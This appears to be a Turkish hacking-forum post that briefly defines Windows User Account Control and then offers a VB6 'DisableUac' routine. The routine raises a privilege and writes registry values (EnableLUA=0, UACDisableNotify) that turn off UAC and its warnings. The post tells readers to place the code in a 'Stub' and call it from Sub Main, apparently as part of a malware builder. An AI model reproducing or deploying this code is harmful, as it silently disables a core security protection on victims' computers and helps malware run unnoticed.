SydorTal
Özel Üye
[font=arial, sans-serif]Kullanıcı Hesabı Denetimi ([/font][font=arial, sans-serif]UAC[/font][font=arial, sans-serif]), Windows işletim sistemlerindeki bir güvenlik bileşenidir. [/font][font=arial, sans-serif]UAC[/font][font=arial, sans-serif], kullanıcıların sık kullanılan görevleri kullanıcı değiştirmek, oturumu kapatmak veya Farklı Çalıştır özelliğini kullanmak zorunda kalmadan, ister yönetici yetkileri olmadan, ister yönetici olarak gerçekleştirmelerini sağlar.[/font]
[font=arial, sans-serif]Peki UAC Nasıl ByPass Edilir ? [/font]
Kod:
Public Declare Function RtlAdjustPrivilege Lib "NTDLL" (ByVal Privilege As Long, ByVal Enable As Boolean, ByVal Client As Boolean, WasEnabled As Long) As Long
Private Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Long, ByVal cbData As Long) As Long
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Sub DisableUac()
Dim lKey As Long
Call RtlAdjustPrivilege(17, True, True, 0)
If RegOpenKeyEx(&H80000002, "SOFTWARE\Microsoft\Security Center", 0&, &H20000 Or &H2& Or &H4&, lKey) = 0& Then
If (RegSetValueExA(lKey, "UACDisableNotify", 0, 4, 0, 4) = 0&) Then
RegCloseKey lKey
End If
End If
If RegOpenKeyEx(&H80000002, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", 0&, &H20000 Or &H2& Or &H4&, lKey) = 0& Then
If (RegSetValueExA(lKey, "EnableLUA", 0, 4, 0, 4) = 0&) Then
RegCloseKey lKey
End If
End If
End Sub
[font=arial, sans-serif][size=medium][font=Verdana, Geneva, sans-serif]Kodu Stub'a Ekleyın Sub Main'den Call İle Çağırın [/font]
[/font][/size]
[/font][/size]